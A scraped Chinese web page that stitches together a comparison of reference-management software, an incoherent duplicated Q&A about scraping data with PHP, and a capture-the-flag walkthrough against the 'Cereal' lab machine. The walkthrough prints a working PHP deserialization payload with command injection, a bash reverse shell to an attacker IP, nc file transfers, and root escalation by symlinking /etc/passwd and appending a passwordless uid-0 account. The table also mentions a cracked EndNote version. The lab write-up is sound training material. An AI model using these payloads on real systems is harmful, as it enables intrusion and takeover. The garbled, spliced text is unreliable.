好了我們言歸正傳。上一篇大家已經(jīng)知曉了下載文獻的各種方法,不管是白貓還是黑貓,能下載到文獻的就是好喵~。下載文獻只是科研工作者的第一步。接下來(lái),對于文獻分類(lèi)管理和標注就是最重要的一環(huán)了。眾所周知,文獻管理軟件有很多,大名鼎鼎的Endnote、Mendeley、Zotero等等……Oh wait,如果你現在還不知道哪個(gè)適合你, 那么下面仔細聽(tīng)小編娓娓道來(lái)噢。注:最下端的表格對比幫助你更快的選擇合適自己的文獻管理軟件噢!
1. EndnoteEndnote可謂是眾多科研人員的心頭好了。它是SCl(Thomson Scientific公司)的官方軟件,支持國際期刊的參考文獻格式3776種,涵蓋各個(gè)領(lǐng)域的雜志和寫(xiě)作模板。Endnote一個(gè)最大的特點(diǎn)就是支持word插件,這對于在word里編輯參考文獻,更新編號提供了極大的優(yōu)勢。另外,EndNote的強大之處還在于其自定義特性,通過(guò)自定義EndNote的輸出格式,濾件和連接論文件。Endnote擁有多種在線(xiàn)數據庫以及十分清晰的文獻管理頁(yè)面,導入PDF之后,可以自動(dòng)獲取信息并進(jìn)行排版。題庫樣式很全。在知網(wǎng)或其他文獻搜索平臺下載endnote格式直接導入。然而,Endnote的不足之處在于分組只支持二級目錄,批注功能較弱,文件識別速度慢,Label功能只能在排序窗口的中間位置顯示Label結果,且不能選擇不同Tag,也不時(shí)在窗口顯示,需要時(shí)常保存。不過(guò)總體來(lái)說(shuō),Endnote還是很適合大多數科研人員的,譬如小編自己也在用。下面來(lái)一睹真容。(瞧這一目了然的頁(yè)面誰(shuí)能不愛(ài)呢)
Endnote資源合集:官網(wǎng):;中文幫助:;Output Styles 下載:;
Import filters 下載:;
Connection files 下載:;
Writing templates 下載:;
科學(xué)網(wǎng)EndNote資源大全:(內有視頻教程)
??;
2.MendeleyMendeley最早是由德國的三個(gè)博士開(kāi)發(fā),后被Elsevier收購的。它是一個(gè)在線(xiàn)的學(xué)術(shù)社交網(wǎng)絡(luò )平臺,可一鍵抓取網(wǎng)頁(yè)上的文獻信息添加到個(gè)人圖書(shū)館中;比較適合本地操作和大量PDF的文件管理。社區功能讓Mendeley這幾年名聲大噪。Mendeley的免費下載讓很多人欣喜。除此之外,還提供MS Word和Open Office插件,方便在文字編輯器中插入和管理參考文獻。支持免費云同步。Mendeley界面稍遜于Endnote(自我感覺(jué))。并且對于國內用戶(hù)來(lái)說(shuō)有個(gè)不好的功能,需要聯(lián)網(wǎng)登陸才能使用, 在線(xiàn)訪(fǎng)問(wèn)的速度很慢,極大影響體驗。
Mendeley資源合集:Mendeley 官網(wǎng):;Mendeley for Windows:
??;Mendeley for Mac OS X 10.6+:
??;Mendeley Desktop for Linux:
??;Mendeley for iphone,iPod Touch and iPad:
??;Mendeley 的使用講解:;
3. Zotero用Zotero的人員也不在少數。Zotero是一個(gè)開(kāi)放源代碼的文獻管理軟件,其特色之處是可以作為瀏覽器插件進(jìn)行使用。本地的Zotero的文獻數據庫還可以免費上傳到Zotero的網(wǎng)絡(luò )服務(wù)器上,不受空間大小限制。相比于EndNote, Zotero最大的特色是無(wú)限級的目錄分類(lèi),一個(gè)目錄下可以分為多個(gè)子目錄,這樣很便于管理文獻。Zotero還支持文獻的自定義標簽功能,為每個(gè)文獻自動(dòng)打上標簽。另外,Zotero編輯文檔使用外部工具,插件豐富,不存在軟件崩潰現象。但是!Zotero的缺點(diǎn)是文獻管理、分類(lèi)方式較單一。必須使用Firefox瀏覽器。
Zotero資源合集:Zotero 官網(wǎng):;Zotero for Windows: ;
Zotero for Chrome:;
Zotero for Firefox:;
Zotero for Safari:;
4.CitaviCitavi來(lái)自瑞士Swiss Academic Software公司生產(chǎn)的一款文獻管理軟件,在歐洲被廣泛使用,它不僅可以知識管理、任務(wù)計劃,而且支持PDF原文全文搜索,可以搜索超過(guò)4800個(gè)圖書(shū)館目錄和所有主要的信息提供者的數據庫。在閱讀整理筆記方面,Citavi不僅可以深度整合pdf備注功能,而且還支持創(chuàng )建pdf格式的網(wǎng)頁(yè)截圖噢!
Citavi資源合集:Citavi 官網(wǎng):;Citavi 官方教程:;
Citavi 中文網(wǎng)站:;
Citavi 6 下載地址:;
Citavi 6 中文論壇:;
Citavi 貼吧:;
5.PapersPapers 是一款Mac平臺專(zhuān)業(yè)的文獻管理工具。它的主要功能包括文獻導入、組織、閱讀(注釋?zhuān)?、自?dòng)匹配參考條目,搜索、在文檔中插入引用、評點(diǎn)交流等。Papers的一大特點(diǎn)就是支持PDF抓取文獻關(guān)鍵信息,支持與iPhone/iPad互聯(lián),可以通過(guò)云盤(pán)方式實(shí)現文獻多終端閱讀。Papers支持六大云盤(pán)Box、Google Drive、iCloud、OneDrive、SugarSync、Network file shared。另外,Papers并不是通過(guò)Word插件的方式來(lái)引用文獻,而是通過(guò)彈出窗口的方式添加文獻。插入引用文獻時(shí)雙擊鍵盤(pán)Control鍵,在彈出的小窗口搜索所需要文獻插入即可??偟膩?lái)說(shuō),Papers功能也是很強大的,但是在創(chuàng )建作者名的顯示方式、標點(diǎn)的設置方面,還是Endnote更詳盡一些啦!
Mac重度使用者必備噢!
Papers資源合集:Papers for mac官網(wǎng)教程:;各種雜志格式的Github的鏈接:;
6.NoteExpressNoteExpress 是北京愛(ài)琴海軟件公司開(kāi)發(fā)的一款專(zhuān)業(yè)級別的文獻檢索與管理系統。是一款國產(chǎn)文獻管理軟件,支持20多種在線(xiàn)搜索數據庫,可以很輕松地查找各種數據文獻。擁有快速檢索的能力,支持數以百計的圖書(shū)館數據庫和網(wǎng)絡(luò )電子庫。軟件分為個(gè)人版和集團版兩個(gè)版本,大部分學(xué)校會(huì )購買(mǎi)集團版的版權,個(gè)人版只能免費試用30天。在官網(wǎng)下載完成后注冊賬號就可以嵌入word中使用了。NoteExpress對中文文獻非常友好、中文雜志的引文格式數量多??梢砸灶}錄的方式管理文獻。完美兼容WPS,而且全中文界面,操作簡(jiǎn)單。此外,NoteExpress還提供了重復題目去重、文獻校對等功能。想要一款中文版易上手軟件的童鞋們可以放心使用NoteExpress!

word插件如下:
NoteExpress資源合集:NoteExpress 官網(wǎng)下載:;NoteExpress圖文教程:;優(yōu)酷教程鏈接:;
7.JabRefJabRef是一個(gè)開(kāi)放源代碼、處理BibTeX格式的文獻管理軟件,提供了簡(jiǎn)易操作的界面來(lái)編輯BibTeX檔案。它的功能包含從網(wǎng)絡(luò )上的科學(xué)數據庫匯入資料,以及整理和搜尋 BibTeX 檔案等。它的另一大優(yōu)勢是可以使用于各種操作系統,如 Windows、Linux、Mac OS X。
JabRef資源合集:JabRef 主頁(yè):;JabRef使用手冊:
8.ReadcubeReadCube是個(gè)有前途的軟件,有著(zhù)非常強大的搜索功能,它和谷歌學(xué)術(shù)、PubMed以及Readcube自己的文獻庫高度集成,可以隨時(shí)進(jìn)行搜索,以文獻閱讀為中心。ReadCube還能根據我們文獻庫里的文獻推薦近期相似的文獻,(這個(gè)小機靈鬼),可見(jiàn),它唯一的缺點(diǎn)就是收費了。
ReadCube資源合集:官網(wǎng):;軟件介紹: ;優(yōu)酷視頻教程:;
文獻管理軟件一覽表
軟件
Endonte
Mendeley
Zotero
Citavi
費用
付費(250美元),有破解版
免費
免費
免費
文獻管理
Word引文插件;標注PDF文件;筆記功能
Word引文插件;PDF文件內搜索;標注PDF文件;跨平臺同步;筆記功能
Word引文插件;跨平臺同步
Word引文插件;PDF文件內搜索;標注PDF文件;跨平臺同步;筆記功能
文獻搜索
全文搜索;搜索跨外部數據庫
開(kāi)放數據庫;個(gè)性化文章建議;讀者統計和社區標簽;打開(kāi)Web API;全文搜索;搜索跨外部數據庫
打開(kāi)Web API;全文搜索
開(kāi)放數據庫;個(gè)性化文章建議;讀者統計和社區標簽;打開(kāi)Web API;全文搜索;搜索跨外部數據庫
支持平臺
Windows系統;瀏覽器;Android版;圖書(shū)館系統集成
Windows系統;瀏覽器;Android版;圖書(shū)館系統集成;Mac;IOS
Windows系統;瀏覽器;Mac;圖書(shū)館系統集成
Windows系統;瀏覽器;圖書(shū)館系統集成
數據提取

DOI;嵌入式元數據
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
軟件
Papers
NoteExpress
JabRef
Readcube
費用
付費(79美元)
付費(學(xué)生版198,永久版 698 元)
免費
免費
文獻管理
Word引文插件;標注PDF文件;筆記功能
重復題目去重;文獻校對;標注PDF文件;筆記功能;標注PDF文件
整理和搜尋 BibTeX 檔案
Word引文插件;PDF文件內搜索;標注PDF文件;跨平臺同步;筆記功能
文獻搜索
全文搜索;搜索跨外部數據庫
搜索跨外部數據庫
搜索跨外部數據庫
開(kāi)放數據庫;個(gè)性化文章建議;搜索跨外部數據庫
支持平臺
瀏覽器;Android版;圖書(shū)館系統集成
Windows系統;瀏覽器;
Windows系統;Mac;IOS
Windows系統;瀏覽器;Android版;圖書(shū)館系統集成;Mac;IOS
數據提取
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
DOI;引文細節
DOI;PubmedID;引文細節
DOI;嵌入式元數據;PubmedID和ArxivIDs;引文細節
說(shuō)明
本文內容若存在版權問(wèn)題,請聯(lián)系我們及時(shí)處理。
歡迎廣大讀者對本文進(jìn)行轉發(fā)宣傳。
php抓取網(wǎng)頁(yè)數據插入數據庫-百度云-云盤(pán)同步aws
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 64 次瀏覽 ? 2022-07-12 06:05
php抓取網(wǎng)頁(yè)數據插入數據庫-百度云-云盤(pán)同步aws云文件夾-awsdropbox按節目文件夾或某節目查看帶附件或歷史文件這些都是實(shí)現,簡(jiǎn)單但有效。sina微博評論打開(kāi)網(wǎng)頁(yè),鍵入關(guān)鍵詞,
那些都是協(xié)議,但這些協(xié)議都是針對cms的,樓主拿到源代碼你也可以把代碼放進(jìn)來(lái)自己寫(xiě),難度很低,只是你的技術(shù)實(shí)力不夠而已,
找到代碼,然后自己改造。最快的就是扒客戶(hù)端源代碼。但是也存在各種風(fēng)險,因為你的代碼里面有你自己的東西,別人可能會(huì )有很多漏洞去接觸這些文件,是自己的文件就要防止被攻破。
云盤(pán)什么的都是xml格式的數據,自己寫(xiě)也是可以直接抓的??梢哉业狡渲心骋欢?storage/cache目錄,把它改成regex。復制一下,然后掛載到你的爬蟲(chóng)中即可,完畢。
既然是爬蟲(chóng)的話(huà)。像我們公司就是用asp為基礎。因為我們公司每天有100多萬(wàn)的發(fā)送量??偟谜覀€(gè)解決方案啊。
解決這個(gè)問(wèn)題,其實(shí)是比較容易解決的。用googlechrome的開(kāi)發(fā)者工具的network標簽,查看文件的分布就行了,尤其是url結尾都可以看見(jiàn)。我用googlechrome已經(jīng)滿(mǎn)多年,各種抓取方式基本上都已經(jīng)摸熟了。google不僅僅提供http接口,還提供https接口,我就用他來(lái)抓取很多涉及到服務(wù)器的頁(yè)面。
如果僅僅是想要爬取數據,僅僅是url結尾為“cache/issue”,那么就完全沒(méi)有必要自己寫(xiě)。有很多現成的抓取工具,比如說(shuō)云采信和牛牛采信(基于googlechrome的,建議掛vpn使用)。這種服務(wù)的好處就是可以一鍵把數據下發(fā)到公司域名的任何一臺設備,既省心省事,而且實(shí)現起來(lái)非常簡(jiǎn)單。但是,如果你真的想要自己動(dòng)手的話(huà),可以考慮下這樣的思路:比如網(wǎng)上有很多開(kāi)源的cookiecookie之類(lèi)的,你需要的是把他們轉化為相應的格式,然后讓爬蟲(chóng)程序讀取。
好處就是可以直接寫(xiě)轉化過(guò)程的接口,而且直接生成https服務(wù)器;壞處就是無(wú)法模擬本地瀏覽器、ip地址或端口,爬蟲(chóng)程序需要寫(xiě)驅動(dòng)程序從而進(jìn)行解析,之后再寫(xiě)成https服務(wù)器,但是這種方式會(huì )比較笨重一些。另外我們公司通過(guò)flash來(lái)處理httpscookie,不過(guò)后來(lái)取消掉了。還有你也可以查看看,網(wǎng)上各種抓取數據的教程,里面也是有步驟圖的。
不過(guò)一旦遇到問(wèn)題需要用網(wǎng)頁(yè)地址提交給爬蟲(chóng)工具,工具會(huì )識別你的url而不是域名。所以在web瀏覽器打開(kāi)爬蟲(chóng)程序的時(shí)候你要注意它是否會(huì )識別url,如果不識別那就需要爬蟲(chóng)程序進(jìn)行解析。這些我就不在這里一一贅述了。 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫-百度云-云盤(pán)同步aws
php抓取網(wǎng)頁(yè)數據插入數據庫-百度云-云盤(pán)同步aws云文件夾-awsdropbox按節目文件夾或某節目查看帶附件或歷史文件這些都是實(shí)現,簡(jiǎn)單但有效。sina微博評論打開(kāi)網(wǎng)頁(yè),鍵入關(guān)鍵詞,
那些都是協(xié)議,但這些協(xié)議都是針對cms的,樓主拿到源代碼你也可以把代碼放進(jìn)來(lái)自己寫(xiě),難度很低,只是你的技術(shù)實(shí)力不夠而已,

找到代碼,然后自己改造。最快的就是扒客戶(hù)端源代碼。但是也存在各種風(fēng)險,因為你的代碼里面有你自己的東西,別人可能會(huì )有很多漏洞去接觸這些文件,是自己的文件就要防止被攻破。
云盤(pán)什么的都是xml格式的數據,自己寫(xiě)也是可以直接抓的??梢哉业狡渲心骋欢?storage/cache目錄,把它改成regex。復制一下,然后掛載到你的爬蟲(chóng)中即可,完畢。
既然是爬蟲(chóng)的話(huà)。像我們公司就是用asp為基礎。因為我們公司每天有100多萬(wàn)的發(fā)送量??偟谜覀€(gè)解決方案啊。

解決這個(gè)問(wèn)題,其實(shí)是比較容易解決的。用googlechrome的開(kāi)發(fā)者工具的network標簽,查看文件的分布就行了,尤其是url結尾都可以看見(jiàn)。我用googlechrome已經(jīng)滿(mǎn)多年,各種抓取方式基本上都已經(jīng)摸熟了。google不僅僅提供http接口,還提供https接口,我就用他來(lái)抓取很多涉及到服務(wù)器的頁(yè)面。
如果僅僅是想要爬取數據,僅僅是url結尾為“cache/issue”,那么就完全沒(méi)有必要自己寫(xiě)。有很多現成的抓取工具,比如說(shuō)云采信和牛牛采信(基于googlechrome的,建議掛vpn使用)。這種服務(wù)的好處就是可以一鍵把數據下發(fā)到公司域名的任何一臺設備,既省心省事,而且實(shí)現起來(lái)非常簡(jiǎn)單。但是,如果你真的想要自己動(dòng)手的話(huà),可以考慮下這樣的思路:比如網(wǎng)上有很多開(kāi)源的cookiecookie之類(lèi)的,你需要的是把他們轉化為相應的格式,然后讓爬蟲(chóng)程序讀取。
好處就是可以直接寫(xiě)轉化過(guò)程的接口,而且直接生成https服務(wù)器;壞處就是無(wú)法模擬本地瀏覽器、ip地址或端口,爬蟲(chóng)程序需要寫(xiě)驅動(dòng)程序從而進(jìn)行解析,之后再寫(xiě)成https服務(wù)器,但是這種方式會(huì )比較笨重一些。另外我們公司通過(guò)flash來(lái)處理httpscookie,不過(guò)后來(lái)取消掉了。還有你也可以查看看,網(wǎng)上各種抓取數據的教程,里面也是有步驟圖的。
不過(guò)一旦遇到問(wèn)題需要用網(wǎng)頁(yè)地址提交給爬蟲(chóng)工具,工具會(huì )識別你的url而不是域名。所以在web瀏覽器打開(kāi)爬蟲(chóng)程序的時(shí)候你要注意它是否會(huì )識別url,如果不識別那就需要爬蟲(chóng)程序進(jìn)行解析。這些我就不在這里一一贅述了。
php抓取網(wǎng)頁(yè)數據插入數據庫 外殼堅硬的谷子
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 103 次瀏覽 ? 2022-06-28 22:17
發(fā)現了一個(gè)java_script腳本(實(shí)際滲透工作中應該關(guān)注此腳本內容,能夠透出出后端的信息)
里面的內容大致的意思是
通過(guò)函數,提交表單,通過(guò)序列化的操作!IP地址等信息交給ipaddres這個(gè)變量序列化的操作!
那么在這里面既然有序列化的操作,是否會(huì )存在一個(gè)反序列化的漏洞類(lèi)型呢?
這里還看到了一個(gè)被包含的js的文件
點(diǎn)擊這個(gè)鏈接 :44441/php.js"
里面的內容大致就是序列化函數,大概率存在序列化操作
先對其頁(yè)面進(jìn)行功能化測試,輸入127.0.0.1
在結果框中輸出了結果
輸入一些運營(yíng)商的DNS的IP地址
結果顯示出來(lái),從結果上來(lái)看,就是通過(guò)操作系統的ping 命令操作得來(lái)的!
總的來(lái)說(shuō)這就是一個(gè)ping的功能界面(輸入Ip ,統計輸出一些信息是由服務(wù)端調用了系統的ping 命令而來(lái))
這個(gè)地方是否會(huì )存在命令注入漏洞呢?
使用;號,|管道符這樣的連接命令,連接一個(gè)系統id的命令
如圖:沒(méi)有任何返回
使用burp抓取請求報文,看一下內部的流量變化,是否存在序列化的數據
先把瀏覽器代理設置好
通過(guò)抓取的報文,得到的是一個(gè)POST的請求方式;
攜帶了一個(gè)obj的對象和一個(gè)ip 的變量要提交到服務(wù)端;
其中這個(gè)obj的對象里的內容經(jīng)過(guò)了url編碼,將它轉換成可識別的路徑
轉換結果,懂得序列化格式的朋友一看就是php文件之后的序列化數據的格式了
pingTest :序列化對象定義的的類(lèi)
1 :代表類(lèi)中一個(gè)數據的提交
ipAddress :類(lèi)中提交的一個(gè)數據的變量名稱(chēng)
s : 代表了序列化
9 : 代表了名稱(chēng)ipAddress 和 127.0.0.1字符串的長(cháng)度。
這就是客戶(hù)端發(fā)送的序列化數據格式到服務(wù)端,服務(wù)端收到了127.0.0.1這個(gè)IP 去完成Ping,然后返回給客戶(hù)端的一個(gè)過(guò)程!
如果覺(jué)得burp字體小,可以調的大一些
重新抓取一個(gè)請求報文,在表單中輸入 127.0.0.1;id(增加了注入命令)
在抓取的請求報文中,將obj和ip 這兩個(gè)類(lèi)中序列化數據解碼成可識別的url,看看有什么變化
序列化的格式基本沒(méi)變,變化的就是賦值多了;id 這樣的內容,字符長(cháng)度也增加到了12個(gè);
證明了表單中輸入注入命令的這些內容,由java_script腳本原封不動(dòng)的變成序列化的內容。
轉發(fā)后,服務(wù)端并沒(méi)有執行該序列化的內容
證明服務(wù)端對ip地址這樣的格式存在檢查機制!
為了弄清這個(gè)問(wèn)題,將這個(gè)原始的命令發(fā)送請求發(fā)送給repeater
url被轉換后,在repeater中點(diǎn)擊send發(fā)送給服務(wù)端
在重放的界面中,可以構造一些注入命令;
我在這里添加 | ls ,發(fā)現服務(wù)端的響應報文有500的狀態(tài)碼
改變了字符的長(cháng)度,雖然不是狀態(tài)碼500的狀態(tài)碼,但是回顯頁(yè)面是黑屏
反序列化的漏洞特征在黑盒測試下,是十分難獲取,除非拿到源碼!
那么接下來(lái),就需要再目標靶機中找源碼,在實(shí)際的滲透工作中,源碼的存儲路徑默認在根路徑下的.git或者.svn這樣的版本庫里
先停止burp的截斷功能;
訪(fǎng)問(wèn)瀏覽器,查看是否有g(shù)it的版本庫文件,結果沒(méi)有提示
查看.svn 也沒(méi)有
再回想之前的信息收集,中曾描述了這么一段話(huà):讓我們關(guān)注其備份文件
再次使用dirbuster這個(gè)工具對secure.cereal.ctf:44441這個(gè)路徑下進(jìn)行隱藏路徑和擴展名的爬取,攜帶體型較大的字典文件
在最終的爬取結果中,看到一些之前沒(méi)有被爬取出的備份文件路徑(根據計算機配置,時(shí)間長(cháng)短不一?。?br /> 先訪(fǎng)問(wèn)/icons/small的路徑,訪(fǎng)問(wèn)路徑看起來(lái)但只是有一些小圖片,這對滲透沒(méi)有什么價(jià)值;
再針對/back_en這個(gè)路徑進(jìn)行隱藏路徑的爬取,這里面是否會(huì )存在一些備份文件呢,還是利用dirbuster,只不過(guò)更換一個(gè)小體積的密碼字典文件,攜帶查詢(xún)擴展名為bak
尋找到了一個(gè)index.php.bak,并且這個(gè)http狀態(tài)碼是200 (這個(gè)狀態(tài)顯示該資源是存在的,并且能夠請求到?。?br /> 既然發(fā)現了這一個(gè)文件,回到kali中,使用wget進(jìn)行下載.index.php.bak
查看文件類(lèi)型,看起來(lái)就是一個(gè)php的腳本文件,只不過(guò)增加了一個(gè)擴展名!
使用kali的文本編輯器mousepad打開(kāi)該文件
看起來(lái)是一個(gè)帶有php標簽的php語(yǔ)言文件;
查看該php源碼文件,發(fā)現有html標簽文件
其中有java腳本文件中的一些序列化操作函數
源碼審計分析
class pingTest ---定義了類(lèi)(反序列化對象的類(lèi))
public $ipAddress = "127.0.0.1";--變量名稱(chēng)和賦值
public $isValid = False; -- 校驗是失敗的
public $output = ""; -- 空值
這是之前抓取的報文中obj對象中有的內容
function validate() {-- 定義了一個(gè)函數
if (!$this->isValid) { -- 校驗isValid函數是真還是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用過(guò)濾器對傳入的IpAddress使用方法(使用filter_var進(jìn)行判斷)
$this->isValid = True;--fileter_var函數校驗賦值若成功,將這個(gè)valid值變?yōu)門(mén)rue
}
}
$this->ping(); -- 執行Ping的命令;
}
public function ping() -- 以下是ping 的命令函數具體操作內容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 執行內容就是使用ping 三個(gè)報文;
這里需要明白的是過(guò)濾器FILTERVALIDATE_IP 里的內容是在目標靶機中別的文件里進(jìn)行定義的,其作用就是判斷輸入的內容是不是真正的IP,若是真正的IP,就將isValid改為T(mén)rue;
當post請求接收到來(lái)自obj請求的賦值時(shí),進(jìn)行一個(gè)解碼的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解碼
} else {
$pingTest = new pingTest; -- 新的賦值
}
$pingTest->validate(); --調用vali
分析完成后,攻擊思路的重點(diǎn)放在提交的數據(IP地址)校驗結果取決于與isvalid判定的結果,在源碼文件中,默認isValid = False,若是生成一個(gè)序列化的數據,聲明isValid值就等于True,這樣的話(huà),就會(huì )執行ping命令了!
實(shí)現繞過(guò)服務(wù)端的檢查!
反序列化漏洞的利用方法
先在客戶(hù)端上生成一個(gè)序列化的數據序列(內容中需要聲明類(lèi),調用類(lèi)創(chuàng )建一個(gè)新的序列化對象,,對象中的valid指定true,注入Ip地址后添加系統指令)實(shí)現饒過(guò)isValid真假的校驗。
在kali上新建一個(gè)生成序列化的php文件,寫(xiě)一個(gè)ser1.php的php的代碼
運行該php文件
生成了一個(gè)序列,將這個(gè)序列化的內容拷貝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將序列化內容粘貼到截獲的報文之中去
將這個(gè)url 地址轉換一下
能夠看到有兩個(gè)鍵值對 ipaddress 和isvalid
b=1 為布爾值,代表了真的意思!
點(diǎn)擊發(fā)送,服務(wù)端返回了http狀態(tài)碼200
再觀(guān)察服務(wù)端渲染回來(lái)的界面結果,看起來(lái),是執行成功了!
再次驗證結果,將生成序列化里的內容,稍作修改,將ipaddress改成另外一個(gè)Ip地址,(注意,如果改202.106.0.20這個(gè)IP,字符長(cháng)度就要從原來(lái)的9變?yōu)?2)要不然服務(wù)端會(huì )回顯500的狀態(tài)碼!
結果成功!
由此,可以證明構造序列化的數據向服務(wù)端提交請求!,ip地址后面加入一些系統指令,來(lái)進(jìn)一步證明!
這里我在223.5.5.5后面增加了 ;id
服務(wù)端回顯了200的狀態(tài)碼
渲染界面里提示成功!
觀(guān)察服務(wù)端回顯的回應源數據文件
id的命令被執行了,目標靶機的第一個(gè)用戶(hù)身份是apache的用戶(hù)名稱(chēng)
因此,就可以在此處插入更多的指令
查看目標靶機中是否有nc的命令?
結果命令沒(méi)有回顯
由于插入常規的反彈shell 會(huì )導致字符長(cháng)度過(guò)長(cháng),出于簡(jiǎn)單的目的,使用bash直接連接,產(chǎn)生網(wǎng)絡(luò )連接的方式!
輸入以下內容:
在kali中繼續修改ser1.php文件
保存ser1.php文件后,在kali上開(kāi)啟偵聽(tīng)3028端口
再次運行 ser1.php文件,生成一個(gè)新的序列化數據O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將這個(gè)序列化的數據內容插入的repter之中,點(diǎn)擊發(fā)送!
如圖所示:獲得了一個(gè)反彈shell的鏈接!身份是apche
本地提權
先收獲第一個(gè)flag!
查看操作系統版本
查看 sudo 權限以及尋找suid文件漏洞,都沒(méi)有得到有效的線(xiàn)索!
查看 目標系統內的所有用戶(hù)
發(fā)現有一個(gè)rocky的用戶(hù)可以登錄系統!
查看rocky用戶(hù)下的所有文件
重點(diǎn)放在了public_html下的文件,可以看到44441端口下的一些文件
進(jìn)入到該文件目錄,查看index.php 這個(gè)文件,發(fā)現內容和我之前下載的那個(gè)文件內容一樣!類(lèi)中的定義也是一樣的!
查看目標靶機的系統進(jìn)程
沒(méi)有發(fā)現可利用的線(xiàn)索 (mysql用的是非root)
目標靶機啟用了大量的端口!
這就是在端口掃描階段,端口結果沒(méi)有應用的原因!靶機作者用nc空開(kāi)了許多無(wú)用的端口!
在漫長(cháng)的信息收集后,決定使用一個(gè)監視目標靶機進(jìn)程產(chǎn)生的工具
pspy64一個(gè)linux系統進(jìn)程監控工具
下載地址:
部分網(wǎng)絡(luò )環(huán)境需要掛的代理訪(fǎng)問(wèn)
百度云下載地址:
提取碼:1zrs
從該軟件的自述文件可以得知,不需要root身份就可以監控用戶(hù)(操作系統)的新的進(jìn)程創(chuàng )建,符合目前靶機的情況,來(lái)搜尋后臺的進(jìn)程-crond,這些后臺進(jìn)程會(huì )運行腳本文件(這些進(jìn)程是root身份運行,比如定時(shí)任務(wù)什么的)
我現將這個(gè)軟件上傳到我的kali上去,因為目標靶機的系統是64位,因此我下載的這個(gè)Pspy也是64位的!
先查看目標靶機的定時(shí)任務(wù)和root下的定時(shí)任務(wù)
在root下提示是沒(méi)有權限的!
將pspy64這個(gè)文件上傳到目標靶機之中,查看目標靶機系統是否會(huì )在一段時(shí)間過(guò)后,自動(dòng)創(chuàng )建一些后臺進(jìn)程(這些進(jìn)程由root身份運行的呢?)
通過(guò)觀(guān)察,在這個(gè)路徑下,我目前的身份是apache ,而這些文件的用戶(hù)組是apche,是擁有所有的權限的,包括了寫(xiě)入的權限!
因此,我利用nc 來(lái)接收這個(gè)pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
傳入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加執行權限到pspy文件~
啟動(dòng)改文件 ./pspy
這個(gè)啟動(dòng)和執行過(guò)程需要等待一會(huì ),系統會(huì )不會(huì )有新的進(jìn)程出現
??!
1:33
在后臺進(jìn)程中,我發(fā)現了一個(gè)叫做chown.sh的腳本,眾所周知chown是linux的一個(gè)命令
這應該是管理員自己創(chuàng )建的一個(gè)腳本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上監聽(tīng)3031端口,增加一個(gè)反彈shell的連接
修改之前抓取的obj對象里數據內容,將之前觸發(fā)序列化漏洞的數據,有一個(gè)端口改為3031
查看目標靶機里的文件,能夠查看到這個(gè)文件的權限是可以被其他用戶(hù)所讀取
查看該chown.sh文件
看起來(lái)是將周期性的這個(gè)/home/rocky/public_html/* 這個(gè)目標文件夾下所有的文件權限改成屬主是rocky,屬組是apache
這就是我之前有一個(gè)chmod +x 執行失敗的原因,正好趕上周期性的將這個(gè)目錄下所有文件的屬主和屬組改變,讓我無(wú)法修改
一個(gè)周期過(guò)后,我在看這個(gè)public_html下所有的文件的屬主和屬組都發(fā)生了變化!
那么,這個(gè)命令腳本內容對目前滲透有什么幫助呢?
軟連接這個(gè)命令這個(gè)時(shí)候就派上了用場(chǎng)!
先來(lái)看一下系統的/etc/passwd這個(gè)文件的屬主和屬組
在kali上只有root用戶(hù)有可讀可寫(xiě)權限,其他的只有讀的權限
在目標靶機中的這個(gè)/etc/passwd文件是屬主和屬組擁有完全權限!
難么在靶機的這個(gè)/home/rocky/public_html下也新建一個(gè)Passwd文件,并連接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
這個(gè)chown.sh腳本在周期性的執行,會(huì )把這個(gè)/home/rokcy/public_html下的passwd文件屬主改為rocky, 屬組改為apache!
等待一段時(shí)間觀(guān)察,監控到chown腳本周期執行,權限會(huì )發(fā)生變化,
可是圖中的passd權限卻沒(méi)有發(fā)生變化!
按照理論目標靶機的/etc/passwd這個(gè)文件的屬主和屬組也會(huì )被修改成rokcy和apache的!
觀(guān)察,/etc/passwd這個(gè)文件的屬主和屬組變化了!
這樣的話(huà)就可以將root密碼設為空了!
因為當前獲得的反彈shell 不太穩定
我這里新建一個(gè)用戶(hù),密碼占位符x 刪除掉,不需要密碼,使用的是uid和gid都為0的設置,了解linux用戶(hù)屬性的都知道uid=0 gid=0 的賬號一定是root角色,并將這些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切換到daidai這個(gè)用戶(hù)
提權成功,獲取flag
到此結束,打靶結束! 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 外殼堅硬的谷子
發(fā)現了一個(gè)java_script腳本(實(shí)際滲透工作中應該關(guān)注此腳本內容,能夠透出出后端的信息)
里面的內容大致的意思是
通過(guò)函數,提交表單,通過(guò)序列化的操作!IP地址等信息交給ipaddres這個(gè)變量序列化的操作!
那么在這里面既然有序列化的操作,是否會(huì )存在一個(gè)反序列化的漏洞類(lèi)型呢?
這里還看到了一個(gè)被包含的js的文件
點(diǎn)擊這個(gè)鏈接 :44441/php.js"
里面的內容大致就是序列化函數,大概率存在序列化操作
先對其頁(yè)面進(jìn)行功能化測試,輸入127.0.0.1
